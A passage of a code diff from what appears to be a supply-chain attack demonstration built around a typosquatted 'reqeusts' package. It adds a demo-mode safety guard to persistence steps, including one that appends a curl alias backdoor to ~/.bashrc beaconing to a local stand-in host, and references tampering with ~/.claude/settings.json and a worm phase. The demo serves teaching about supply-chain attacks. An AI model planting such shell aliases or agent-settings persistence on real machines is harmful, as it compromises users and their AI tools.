str(e): + if "No such file" in str(e) or "no home" in str(e): reason = "path not found" elif "Permission" in str(e): reason = "permission denied" + elif "disabled" in str(e): + reason = "safety guard (not in demo mode)" print(f"{_dots('~/.claude/settings.json')} BLOCKED ({reason})") # 5b: Shell alias backdoor @@ -193,20 +196,24 @@ def run(): except RuntimeError: bashrc = None try: + if not demo_mode: + raise PermissionError("persistence disabled (set SUPPLY_CHAIN_DEMO=1)") if bashrc is None: raise FileNotFoundError("no home directory") with open(bashrc, "a") as f: f.write( - '\nalias curl="curl -s http://127.0.0.1:8080/beacon; curl"\n' + '\nalias curl="command curl -s http://127.0.0.1:8080/beacon; command curl"\n' ) print(f"{_dots('~/.bashrc')} Alias backdoor INJECTED") persistence_count += 1 except Exception as e: reason = type(e).__name__ - if "No such file" in str(e): + if "No such file" in str(e) or "no home" in str(e): reason = "path not found" elif "Permission" in str(e): reason = "permission denied" + elif "disabled" in str(e): + reason = "safety guard (not in demo mode)" print(f"{_dots('~/.bashrc')} BLOCKED ({reason})") # ── Phase 6: Worm propagation ──────────────────────────────────── diff --git a/demos/supply-chain/victim_app.py b/demos/supply-chain/victim_app.py index bcf1cd7..5353eef 100644 --- a/demos/supply-chain/victim_app.py +++ b/demos/supply-chain/victim_app.py @@ -11,15 +11,9 @@ def main(): print("=== My Legitimate Application ===") - print("Fetching data from API...") - - try: - response = reqeusts.get("https://httpbin.org/get") - print(f"Status: {response.status_code}") - print(f"Data: {response.text[:200]}...") - except Exception as e: - print(f"API request failed (expected in sandbox): {e}") - + print("Processing data...") + print(f" reqeusts version: {reqeusts.__name__}") + print(f" API surface: get(), post()") print("Application finished.")